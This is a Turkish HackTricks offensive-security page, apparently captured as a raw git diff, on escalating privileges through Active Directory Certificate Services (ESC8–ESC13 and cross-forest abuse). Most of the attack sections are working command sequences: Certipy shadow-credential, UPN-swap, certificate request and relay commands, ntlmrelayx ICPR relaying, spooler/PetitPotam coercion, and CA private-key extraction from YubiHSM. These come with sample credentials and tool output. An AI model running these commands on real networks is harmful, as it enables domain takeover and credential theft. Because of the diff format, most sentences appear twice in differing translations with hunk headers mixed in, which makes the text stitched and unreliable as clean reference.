## NTLM Aktarımı AD CS HTTP Uç Noktaları - ESC8
## NTLM Aktarımı ile AD CS HTTP Uç Noktalarına Yükseltme ESC8
### Açıklama
{% hint style="info" %}
**AD CS kurulu** ortamlarda, **savunmasız bir web kayıt ucu varsa** ve en az bir **sertifika şablonu yayınlanmışsa** ve **alan bilgisayar kaydı ve istemci kimlik doğrulamasına izin veriyorsa** (örneğin varsayılan **`Machine`** şablonu gibi), **spooler servisi etkin olan herhangi bir bilgisayarın bir saldırgan tarafından ele geçirilmesi mümkün hale gelir**!
**AD CS kurulu olan ortamlarda**, eğer **savunmasız bir web kayıt uç noktası mevcut** ve en az bir **alan bilgisayarının kaydını ve istemci kimlik doğrulamasını** izin veren bir **sertifika şablonu yayınlanmışsa** (örneğin varsayılan **`Machine`** şablonu), **saldırganın aktif spooler servisine sahip herhangi bir bilgisayarı tehlikeye atması mümkün olur**!
{% endhint %}
AD CS tarafından desteklenen birkaç **HTTP tabanlı kayıt yöntemi**, yöneticilerin kurabileceği ek sunucu rolleri aracılığıyla sunulmaktadır. Bu HTTP tabanlı sertifika kaydı arabirimleri, **NTLM aktarım saldırılarına** karşı hassastır. Bir saldırgan, **ele geçirilmiş bir makineden, gelen NTLM üzerinden kimlik doğrulayan herhangi bir AD hesabını taklit edebilir**. Kurban hesabı taklit edilirken, bu web arabirimlerine saldırgan tarafından **`User` veya `Machine` sertifika şablonlarını kullanarak istemci kimlik doğrulama sertifikası talep edilebilir**.
AD CS tarafından desteklenen birkaç **HTTP tabanlı kayıt yöntemi**, yöneticilerin kurabileceği ek sunucu rolleri aracılığıyla sunulmaktadır. Bu HTTP tabanlı sertifika kaydı arabirimleri, **NTLM aktarım saldırılarına** duyarlıdır. Bir saldırgan, **tehlikeye düşmüş bir makineden, gelen NTLM üzerinden kimlik doğrulayan herhangi bir AD hesabını taklit edebilir**. Kurban hesabı taklit edilirken, bu web arabirimlerine saldırgan tarafından **`User` veya `Machine` sertifika şablonlarını kullanarak bir istemci kimlik doğrulama sertifikası talep edilebilir**.
- **Web kayıt arabirimi** (bir önceki ASP uygulaması olan `http://<casunucusu>/certsrv/`), yalnızca HTTP ile varsayılan olarak gelir, bu da NTLM aktarım saldırılarına karşı koruma sağlamaz. Ayrıca, yalnızca NTLM kimlik doğrulamasına izin verir ve Kerberos gibi daha güvenli kimlik doğrulama yöntemlerini kullanılamaz hale getirir.
- **Sertifika Kayıt Hizmeti** (CES), **Sertifika Kayıt Politikası** (CEP) Web Servisi ve **Ağ Cihazı Kayıt Hizmeti** (NDES) varsayılan olarak yetkilendirme HTTP başlıkları aracılığıyla müzakere kimlik doğrulamasını destekler. Müzakere kimlik doğrulaması, hem Kerberos hem de **NTLM**'yi destekler ve bir saldırganın aktarım saldırıları sırasında **NTLM'ye düşürülmesine izin verir**. Bu web hizmetleri varsayılan olarak HTTPS'yi destekler, ancak yalnızca HTTPS, NTLM aktarım saldırılarına karşı koruma sağlamaz. HTTPS hizmetlerinin NTLM aktarım saldırılarından korunması, HTTPS'nin kanal bağlamayla birleştirilmesi durumunda mümkündür. Ne yazık ki, AD CS, kanal bağlaması için gereken IIS üzerinde Genişletilmiş Kimlik Doğrulama Korumasını etkinleştirmez.
* **Web kayıt arabirimi** (bir önceki ASP uygulaması olan `http://<casunucusu>/certsrv/` adresinde mevcut), yalnızca HTTP varsayılan olarak gelir, bu da NTLM aktarım saldırılarına karşı koruma sağlamaz. Ayrıca, yalnızca NTLM kimlik doğrulamasına izin veren ve daha güvenli kimlik doğrulama yöntemlerini, örneğin Kerberos'u uygulanamaz hale getiren Yetkilendirme HTTP başlığı aracılığıyla NTLM kimlik doğrulamasınııkça destekler.
* **Sertifika Kayıt Hizmeti** (CES), **Sertifika Kayıt Politikası** (CEP) Web Servisi ve **Ağ Cihazı Kayıt Hizmeti** (NDES) varsayılan olarak Yetkilendirme HTTP başlığı aracılığıyla müzakere kimlik doğrulamasını destekler. Müzakere kimlik doğrulaması, hem Kerberos'u hem de **NTLM**'yi destekler ve saldırganın aktarım saldırıları sırasında **NTLM'ye düşürmesine izin verir**. Bu web hizmetleri varsayılan olarak HTTPS'yi destekler, ancak yalnızca HTTPS, NTLM aktarım saldırılarına karşı koruma sağlamaz. HTTPS hizmetlerinden NTLM aktarım saldırılarına karşı korunma, HTTPS'nin kanal bağlamayla birleştirildiğinde mümkündür. Ne yazık ki, AD CS, kanal bağlaması için gereken IIS üzerinde Genişletilmiş Kimlik Doğrulama Korumasını etkinleştirmez.
NTLM aktarım saldırılarının yaygın bir **sorunu**, NTLM oturumlarının **kısa süreli olması** ve saldırganın **NTLM imzalama gerektiren hizmetlerle etkileşime girememesi**dir.
NTLM aktarım saldırılarının yaygın bir **sorunu**, NTLM oturumlarının **kısa süreliği** ve saldırganın **NTLM imzalama gerektiren hizmetlerle etkileşime girememesi**dir.
Yine de, bu kısıtlama, bir NTLM aktarım saldırısını kullanarak bir kullanıcı için bir sertifika elde etmek suretiyle aşılır, çünkü sertifikanın geçerlilik süresi oturum süresini belirler ve sertifika, **NTLM imzalama gerektiren hizmetlerde kullanılabilir**. Çalınan bir sertifika kullanımı hakkında talimatlar için şu adrese bakın:
Yine de, bu kısıtlama, bir NTLM aktarım saldırısını kullanarak bir kullanıcı için bir sertifika elde etmek suretiyle aşılır, çünkü sertifikanın geçerlilik süresi oturum süresini belirler ve sertifika, **NTLM imzalama gerektiren hizmetlerle kullanılabilir**. Çalınan bir sertifika kullanımı hakkında talimatlar için şu adrese bakın:
{% content-ref url="account-persistence.md" %}
[account-persistence.md](account-persistence.md)
{% endcontent-ref %}
NTLM aktarım saldırılarının bir diğer kısıtlaması, **bir saldırgan tarafından kontrol edilen bir makinenin bir kurban hesabı tarafından kimlik doğrulanması gerekliliğidir**. Saldırgan bu kimlik doğrulamayı **bekleyebilir veya zorlayabilir**:
NTLM aktarım saldırılarının bir başka kısıtlaması, **bir saldırgan tarafından kontrol edilen bir makinenin bir kurban hesabı tarafından kimlik doğrulanması gerekliliğidir**. Saldırgan ya bekleyebilir ya da bu kimlik doğrulamayı **zorlayabilir**:
{% content-ref url="../printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../printers-spooler-service-abuse.md)
@ -366,13 +366,13 @@ NTLM aktarım saldırılarının bir diğer kısıtlaması, **bir saldırgan tar
### **Kötüye Kullanım**
[**Certify**](https://github.com/GhostPack/Certify)nin `cas`'ı **etkin HTTP AD CS uç noktalarını** sıralar:
[**Certify**](https://github.com/GhostPack/Certify)nin `cas` komutu, **etkin HTTP AD CS uç noktalarını** sıralar:
```
Certify.exe cas
```
<figure><img src="../../../.gitbook/assets/image (69).png" alt=""><figcaption></figcaption></figure>
`msPKI-Enrollment-Servers` özelliği, Kurumsal Sertifika Otoriteleri (CAs) tarafından Sertifika Kayıt Hizmeti (CES) uç noktalarını depolamak için kullanılır. Bu uç noktalar, **Certutil.exe** aracını kullanarak ayrıştırılabilir ve listelenebilir:
`msPKI-Enrollment-Servers` özelliği, Kurumsal Sertifika Yetkilileri (CAs) tarafından Sertifika Kayıt Hizmeti (CES) uç noktalarını depolamak için kullanılır. Bu uç noktalar, **Certutil.exe** aracını kullanarak ayrıştırılabilir ve listelenebilir:
```
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```
@ -383,7 +383,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
<figure><img src="../../../.gitbook/assets/image (937).png" alt=""><figcaption></figcaption></figure>
#### Yetkilendirme ile Kötüye Kullanım
#### Yetkilendirme ile Kötüye Kullanma
```bash
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
@ -400,7 +400,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
```
#### [Certipy](https://github.com/ly4k/Certipy) ile Kötüye Kullanım
Sertifika talebi, varsayılan olarak Certipy tarafından `Machine` veya `User` şablonuna dayalı olarak yapılır, bu da iletilecek hesap adının `$` ile bitip bitmediğine bağlı olarak belirlenir. Alternatif bir şablonun belirtilmesi, `-template` parametresinin kullanımıyla gerçekleştirilebilir.
Sertifika talebi, varsayılan olarak Certipy tarafından `Machine` veya `User` şablonuna dayalı olarak yapılır, iletilen hesap adının `$` ile bitip bitmediğine bağlı olarak belirlenir. Alternatif bir şablonun belirtilmesi, `-template` parametresinin kullanımıyla gerçekleştirilebilir.
[PetitPotam](https://github.com/ly4k/PetitPotam) gibi bir teknik daha sonra kimlik doğrulamayı zorlamak için kullanılabilir. Alan denetleyicileriyle uğraşırken, `-template DomainController` belirtilmesi gereklidir.
```bash
@ -419,40 +419,40 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### Açıklama
Yeni değer **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) olarak adlandırılan **`msPKI-Enrollment-Flag`** için ESC9, bir sertifikada **yeni `szOID_NTDS_CA_SECURITY_EXT` güvenlik uzantısının gömülmesini engeller. Bu bayrak, `StrongCertificateBindingEnforcement` `1` olarak ayarlandığında (varsayılan ayar), `2` ayarına karşıt olarak önem kazanır. ESC9'un önemi, daha zayıf bir sertifika eşlemesi Kerberos veya Schannel için sömürülebilirken (ESC10 gibi), ESC9'un olmamasının gereksinimleri değiştirmeyeceği senaryolarda artar.
Yeni değer **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) olarak adlandırılan **`msPKI-Enrollment-Flag`** için ESC9, bir sertifikada **yeni `szOID_NTDS_CA_SECURITY_EXT` güvenlik uzantısının gömülmesini engeller. Bu bayrak, `StrongCertificateBindingEnforcement`'ın `1` olarak ayarlandığı durumlarda (`varsayılan ayar`), `2` olarak ayarlandığı durumlarla karşılaştırıldığında önem kazanır. ESC9'un önemi, zayıf bir sertifika eşlemesi Kerberos veya Schannel için sömürülebilir olduğu senaryolarda (ESC10 gibi), ESC9'un olmamasının gereksinimleri değiştirmeyeceği durumlarda artar.
Bu bayrağın ayarının önem kazandığı koşullar şunları içerir:
Bu bayrağın ayarının önemli hale geldiği koşullar şunları içerir:
* `StrongCertificateBindingEnforcement` `2` olarak ayarlanmamıştır (varsayılan `1` olur), veya `CertificateMappingMethods` `UPN` bayrağını içerir.
* Sertifika, `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile işaretlenmiştir.
* Sertifika tarafından herhangi bir istemci kimlik doğrulama EKU'su belirtilmiştir.
* Herhangi bir hesap üzerinde `GenericWrite` izinleri başka bir hesabı tehlikeye atmak için kullanılabilir.
- `StrongCertificateBindingEnforcement` `2` olarak ayarlanmamıştır (varsayılan `1` olur), veya `CertificateMappingMethods` `UPN` bayrağını içeriyorsa.
- Sertifika, `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile işaretlenmiştir.
- Sertifika tarafından herhangi bir istemci kimlik doğrulama EKU belirtilmiştir.
- Herhangi bir hesap üzerinde `GenericWrite` izinleri başka bir hesabı tehlikeye atmak için kullanılabilir durumdadır.
### Kötüye Kullanım Senaryosu
`John@corp.local`'ın `Jane@corp.local` üzerinde `GenericWrite` izinleri olduğunu varsayalım ve `Administrator@corp.local`'ı tehlikeye atma amacı taşısın. `Jane@corp.local`'ın kaydolmasına izin verilen `ESC9` sertifika şablonu, `msPKI-Enrollment-Flag` ayarındaki `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile yapılandırılmıştır.
`John@corp.local`'ın `Jane@corp.local` üzerinde `GenericWrite` izinleri bulunduğunu varsayalım ve `Administrator@corp.local`'ı tehlikeye atma amacı taşısın. `Jane@corp.local`'ın kaydolmasına izin verilen `ESC9` sertifika şablonu, `msPKI-Enrollment-Flag` ayarındaki `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile yapılandırılmıştır.
Başlangıçta, `Jane`'in hash'i, `John`'un `GenericWrite` izinleri sayesinde Gölge Kimlik Bilgileri kullanılarak elde edilir:
Başlangıçta, `Jane`'in hash'i, `John`'un `GenericWrite` izinleri sayesinde Shadow Credentials kullanılarak elde edilir:
```bash
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
```
Sonuç olarak, `Jane`'in `userPrincipalName` değeri `Administrator` olarak değiştirilir, bilerek `@corp.local` alan kısmı atlanır:
Sonuç olarak, `Jane`'nin `userPrincipalName` değeri `Administrator` olarak değiştirilir, bilerek `@corp.local` alan kısmı atlanır:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
Bu değişiklik, `Administrator@corp.local` olarak kalırken `Administrator`'ın `userPrincipalName`'i olarak farklı kalmasını ihlal etmez.
Bu değişiklik, `Administrator@corp.local` olarak kalması koşuluyla `Administrator`'ın `userPrincipalName`'si olarak farklı kalır.
Bunu takiben, zayıf olarak işaretlenmiş `ESC9` sertifika şablonu, `Jane` olarak talep edilir:
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
Belirtilen sertifikanın `userPrincipalName` alanının, herhangi bir "object SID" içermediği belirtilir.
Belirtilen sertifikanın `userPrincipalName` özelliğinin, herhangi bir "object SID" içermediği belirtilmiştir.
`Jane`'in `userPrincipalName` alanı daha sonra orijinali olan `Jane@corp.local` olarak geri döndürülür:
`Jane`'in `userPrincipalName` özelliği daha sonra orijinali olan `Jane@corp.local` olarak geri döndürülür:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
Denenmiş sertifika ile kimlik doğrulama yapmaya çalışmak şu anda `Administrator@corp.local`'in NT hash'ini verir. Sertifikanın alan belirtisi eksik olduğundan komutta `-domain <domain>` bulunmalıdır:
Denenmiş olan sertifika ile kimlik doğrulama yapmaya çalışmak şu anda `Administrator@corp.local`'in NT hash'ini verir. Sertifikanın alan belirtisi eksik olduğundan dolayı komutta `-domain <domain>` bulunmalıdır:
```bash
certipy auth -pfx adminitrator.pfx -domain corp.local
```
@ -460,7 +460,7 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
### Açıklama
Eşlemeleri ESC10 tarafından belirtilen iki kayıt defteri değeri şunlardır:
Eşlemeleri ESC10 tarafından belirtilen etki alanı denetleyicisindeki iki kayıt defteri değeri:
* `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` altında `CertificateMappingMethods` için varsayılan değer `0x18` (`0x8 | 0x10`), önceden `0x1F` olarak ayarlanmıştır.
* `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` altında `StrongCertificateBindingEnforcement` için varsayılan ayar `1`, önceden `0` idi.
@ -471,7 +471,7 @@ Eşlemeleri ESC10 tarafından belirtilen iki kayıt defteri değeri şunlardır:
**Durum 2**
`CertificateMappingMethods` içerisinde `UPN` bitini (`0x4`) içerdiğinde.
`CertificateMappingMethods` `UPN` bitini (`0x4`) içeriyorsa.
### Kötüye Kullanım Durumu 1
@ -483,7 +483,7 @@ Başlangıçta, `Jane`'in hash'i, Shadow Credentials kullanılarak alınır, `Ge
```bash
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```
Sonuç olarak, `Jane`'in `userPrincipalName` değeri `Yönetici` olarak değiştirilir, `@corp.local` kısmı kasıtlı olarak atlanarak kısıtlama ihlali önlenir.
Sonuç olarak, `Jane`'nin `userPrincipalName`'i `Yönetici` olarak değiştirilir, kısıtlama ihlinden kaçınmak için `@corp.local` kısmı kasıtlı olarak atlanır.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
@ -495,15 +495,15 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
Elde edilen sertifika ile kimlik doğrulama yapmak, sertifikada etki alanı detaylarının olmaması nedeniyle komutta etki alanının belirtilmesini gerektirir.
Elde edilen sertifika ile kimlik doğrulama yapmak, sertifikada etki alanı detaylarının olmaması nedeniyle komutta etki alanının belirtilmesini gerektirir. Bu işlem, `Administrator@corp.local` kullanıcısının NT hash'ini verecektir.
```bash
certipy auth -pfx administrator.pfx -domain corp.local
```
### Kötüye Kullanım Durumu 2
### Kötüye Kullanım Senaryosu 2
`CertificateMappingMethods` içerisinde `UPN` bit bayrağını (`0x4`) içeren bir hesap A, `userPrincipalName` özelliğine sahip olmayan herhangi bir hesap B'yi (makine hesapları ve yerleşik etki alanı yöneticisi `Administrator` dahil) tehlikeye atabilir.
Burada, `GenericWrite` izinlerine sahip bir hesap A'nın, `Jane`'in hash'ini Shadow Credentials aracılığıyla elde ederek, `DC$@corp.local` hesabını tehlikeye atma hedeflenmektedir.
Burada, `GenericWrite` izinlerine sahip bir hesap olan `Jane`'in hash'ini Shadow Kimlik Bilgileri aracılığıyla elde ederek, `DC$@corp.local` hesabını tehlikeye atma hedeflenmektedir.
```bash
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```
@ -511,11 +511,11 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
Bir sertifika istemcisi kimliği doğrulama için varsayılan `Kullanıcı` şablonunu kullanarak `Jane` olarak istenir.
Bir istemci kimlik doğrulama sertifikası, varsayılan `User` şablonu kullanılarak `Jane` olarak talep edilir.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
`Jane`'in `userPrincipalName`'i bu işlem sonrasında orijinal haline döndürülür.
`Jane`'nin `userPrincipalName`'i bu işlemden sonra orijinal haline döndürülür.
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
```
@ -523,11 +523,11 @@ Schanel üzerinden kimlik doğrulamak için, Certipy'nin `-ldap-shell` seçeneğ
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
LDAP kabuğu aracılığıyla, `set_rbcd` gibi komutlar Kaynak Tabanlı Kısıtlanmış Delegasyon (RBCD) saldırılarını etkinleştirerek, etki alanı denetleyicisini tehlikeye atabilir.
LDAP kabuğu aracılığıyla, `set_rbcd` gibi komutlar Kaynak Tabanlı Kısıtlanmış Delegasyon (RBCD) saldırılarını etkinleştirir, potansiyel olarak etki alanı denetleyicisini tehlikeye atar.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
Bu zafiyet, `userPrincipalName` eksik olan veya `sAMAccountName` ile eşleşmeyen herhangi bir kullanıcı hesabına da uzanır; varsayılan `Administrator@corp.local`, yükseltilmiş LDAP ayrıcalıkları ve varsayılan olarak `userPrincipalName`'in bulunmaması nedeniyle ana hedeflerden biridir.
Bu zafiyet, `userPrincipalName` eksik olan herhangi bir kullanıcı hesabına veya `sAMAccountName` ile eşleşmeyen hesaplara da uzanır; varsayılan olarak `Administrator@corp.local`, yükseltilmiş LDAP ayrıcalıklarına ve varsayılan olarak `userPrincipalName`'in olmamasına sahip olması nedeniyle ana hedeflerden biridir.
## ICPR'ye NTLM Aktarımı - ESC11
@ -535,7 +535,7 @@ Bu zafiyet, `userPrincipalName` eksik olan veya `sAMAccountName` ile eşleşmeye
CA Sunucusu, `IF_ENFORCEENCRYPTICERTREQUEST` ile yapılandırılmamışsa, RPC hizmeti aracılığıyla imzalama olmadan NTLM aktarım saldırıları gerçekleştirebilir. [Burada referans](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
`certipy` kullanarak `İstekler için Şifreleme Zorunlu`nun Devre Dışı Bırakıldığını sorgulayabilir ve `certipy`, `ESC11` Zafiyetlerini gösterecektir.
`certipy` kullanarak `İstekler için Şifreleme Zorunlu`nun Devre Dışı Bırakıldığını sorgulayabilir ve certipy, `ESC11` Zafiyetlerini gösterecektir.
```bash
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -554,7 +554,7 @@ ESC11 : Encryption is not enforced for ICPR requests
```
### Kötüye Kullanım Senaryosu
Bir röle sunucusu kurulması gerekmektedir:
Bir röle sunucusu kurmak gerekmektedir:
``` bash
$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)
@ -573,27 +573,27 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
```
Not: Domain denetleyicileri için, `-template`'yi DomainController'da belirtmeliyiz.
Not: Alan denetleyicileri için `-template`'yi DomainController olarak belirtmeliyiz.
Veya [sploutchy'nin impacket çatalını](https://github.com/sploutchy/impacket) kullanarak:
``` bash
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
```
## YubiHSM ile ADCS CA'ya kabuk erişimi - ESC12
## YubiHSM ile ADCS CA'ya Kabuk Erişimi - ESC12
### Açıklama
Yöneticiler, Sertifika Otoritesini "Yubico YubiHSM2" gibi harici bir cihaza kurabilirler.
USB cihazı CA sunucusuna bir USB bağlantı noktası aracılığıyla bağlandığında veya CA sunucusu bir sanal makine ise bir USB cihaz sunucusu aracılığıyla bağlandığında, YubiHSM'de anahtarları oluşturmak ve kullanmak için Kimlik Depolama Sağlayıcısı'nın gerektirdiği bir kimlik doğrulama anahtarı (bazen "şifre" olarak da adlandırılır) gereklidir.
USB cihazı CA sunucusuna bir USB bağlantı noktası aracılığıyla bağlandığında veya CA sunucusu sanal bir makine ise USB cihaz sunucusu aracılığıyla bağlandığında, YubiHSM'de anahtarları oluşturmak ve kullanmak için bir kimlik doğrulama anahtarı (bazen "şifre" olarak adlandırılır) gereklidir.
Bu anahtar/şifre, YubiHSM'deki `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` kayıt defterinde düz metin olarak saklanır.
Bu anahtar/şifre, YubiHSM'deki anahtar depolama sağlayıcısı tarafından `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` altında düz metin olarak depolanır.
Referans [burada](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
### Kötüye Kullanım Senaryosu
Eğer CA'nın özel anahtarı fiziksel bir USB cihazında depolanmışsa ve kabuk erişimine sahipseniz, anahtarı kurtarmak mümkündür.
Eğer CA'nın özel anahtarı fiziksel bir USB cihazda depolanmışsa ve kabuk erişimine sahipseniz, anahtarı kurtarmak mümkündür.
İlk olarak, CA sertifikasını (bu genel bir bilgidir) elde etmeniz ve ardından:
```cmd
@ -607,7 +607,7 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common
### Açıklama
`msPKI-Certificate-Policy` özelliği, sertifika şablonuna verilmesi gereken politikayı eklemeye olanak tanır. Politikaları veren `msPKI-Enterprise-Oid` nesneleri, PKI OID konteynerinin Yapılandırma İsimlendirme Bağlamı'nda (CN=OID,CN=Public Key Services,CN=Services) keşfedilebilir. Bu nesnenin `msDS-OIDToGroupLink` özelliği kullanılarak bir politika bir AD grubuna bağlanabilir, böylece bir kullanıcının sertifikayı sunması durumunda, bu kullanıcının grup üyesi gibi ayrıcalıklara sahip olmasına izin verilir. [Referans burada](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
`msPKI-Certificate-Policy` özelliği, sertifika şablonuna çıkarım politikasının eklenmesine izin verir. Politikaları veren `msPKI-Enterprise-Oid` nesneleri, PKI OID konteynerinin Yapılandırma İsimlendirme Bağlamı'nda (CN=OID,CN=Public Key Services,CN=Services) keşfedilebilir. Bir politika, bu nesnenin `msDS-OIDToGroupLink` özelliği aracılığıyla bir AD grubuna bağlanabilir, böylece bir kullanıcının sertifikayı sunduğunda grup üyesi gibi yetkilendirilmesine olanak tanır. [Burada referans](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
Başka bir deyişle, bir kullanıcının bir sertifika kaydına izin verildiğinde ve sertifika bir OID grubuna bağlandığında, kullanıcı bu grubun ayrıcalıklarını devralabilir.
@ -643,15 +643,15 @@ Yapması gereken tek şey şablonu belirtmek, bu sayede OIDToGroupLink hakların
```bash
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
```
## Sertifikalarla Ormanların Kompromize Edilmesi, Edilgen Sesle Açıklanmış
## Sertifikalarla Ormanların Tehdit Edilmesi, Edilgen Ses Kipiyle Açıklanmış
### Kompromize Edilmiş CA'lar Tarafından Orman Güvenliğinin Kırılması
### Kompromize Edilmiş CA'lar Tarafından Orman Güvenliğinin Bozulması
**Ormanlar arası kayıt** için yapılandırma oldukça basittir. **Kaynak ormanın kök CA sertifikası** yöneticiler tarafından **hesap ormanlarına yayınlanır** ve **kaynak ormanın kurumsal CA** sertifikaları, her hesap ormanında **`NTAuthCertificates` ve AIA konteynerlerine eklenir**. Bu düzenleme, **kaynak ormandaki CA'ya**, yönettiği PKI için **diğer tüm ormanlar üzerinde tam kontrol** verir. Bu CA, **saldırganlar tarafından ele geçirilirse**, hem kaynak hem de hesap ormanlarındaki tüm kullanıcılar için sertifikaları **onlar tarafından sahte olarak oluşturulabilir**, böylece ormanın güvenlik sınırı **kırılabilir**.
**Çapraz-orman kaydı** yapılandırması oldukça basit hale getirilir. Kaynak ormandan gelen **kök CA sertifikası** yöneticiler tarafından **hesap ormanlarına yayınlanır** ve kaynak ormandan gelen **kurumsal CA** sertifikaları **her hesap ormanındaki `NTAuthCertificates` ve AIA konteynerlerine eklenir**. Bu düzenleme, kaynak ormandaki **CA'ya, PKI'sını yönettiği diğer ormanlar üzerinde tam kontrol** verir. Eğer bu CA **saldırganlar tarafından ele geçirilirse**, hem kaynak hem de hesap ormanlarındaki tüm kullanıcılar için sertifikalar **onlar tarafından sahte olarak oluşturulabilir**, böylece ormanın güvenlik sınırı ihlal edilmiş olur.
### Yabancı İlkelerin Kayıt Ayrıcalıkları Verilmesi
### Yabancı İlkelerin Kayıt Yetkileri Verilmesi
Çoklu orman ortamlarında, **kimlik doğrulama kullanıcıları veya yabancı ilkelerin** (Enterprise CA'nın ait olduğu ormandan farklı olan kullanıcılar/gruplar) **kayıt ve düzenleme haklarına izin veren sertifika şablonlarını yayınlayan** Kurumsal CA'lar konusunda dikkat gereklidir.\
Bir güvenlik ilişkisi boyunca kimlik doğrulaması yapıldığında, AD tarafından kullanıcının belirteci içine **Kimlik Doğrulanmış Kullanıcılar SID** eklenir. Dolayısıyla, bir alanın, **Kimlik Doğrulanmış Kullanıcılar kayıt haklarına izin veren bir şablona sahip olması durumunda**, bir kullanıcının **farklı bir ormandan bir şablona kaydolabileceği** potansiyel olarak mümkündür. Benzer şekilde, bir şablon tarafından **kayıt haklarııkça yabancı bir ilkeye verildiğinde**, böylece bir ormandan bir ilkenin **başka bir ormandan bir şablona kaydolmasına olanak tanıyan bir ormanlar arası erişim kontrol ilişkisi oluşturulur**.
Çoklu-orman ortamlarında, **kimlik doğrulama yapmış kullanıcılar veya yabancı ilkelerin** (Enterprise CA'nın ait olduğu ormandan farklı olan kullanıcılar/gruplar) **kayıt ve düzenleme haklarına izin veren sertifika şablonları yayınlayan Kurumsal CA'lar** konusunda dikkatli olunmalıdır.\
Bir güven ilişkisi üzerinden kimlik doğrulaması yapıldığında, AD tarafından kullanıcının belirteci içine **Kimlik Doğrulanmış Kullanıcılar SID** eklenir. Dolayısıyla, bir alanın, **Kimlik Doğrulanmış Kullanıcıların kayıt haklarına izin veren bir şablona sahip olması durumunda**, bir kullanıcının farklı bir ormandan **kayıt olabileceği bir şablon potansiyel olarak oluşturulabilir**. Benzer şekilde, bir şablon tarafından **kayıt haklarının açıkça yabancı bir ilkeye verilmesi durumunda**, böylece bir ormandan bir ilkenin **başka bir ormandan bir şablona kayıt olmasına olanak tanıyan çapraz-orman erişim kontrol ilişkisi oluşturulur**.
Her iki senaryo da bir ormandan diğerine **saldırı yüzeyinde artışa** neden olur. Bir saldırganın sertifika şablonunun ayarlarını kullanarak yabancı bir alan içinde ek ayrıcalıklar elde etmesi mümkündür.
Her iki senaryo da bir ormandan diğerine **saldırı yüzeyinde artışa** neden olur. Sertifika şablonunun ayarları, bir saldırganın yabancı bir alan içinde ek ayrıcalıklar elde etmek için sömürülebilir.

View file

@ -2,17 +2,17 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve hacktricks-cloud depolarına PR göndererek paylaşın.**
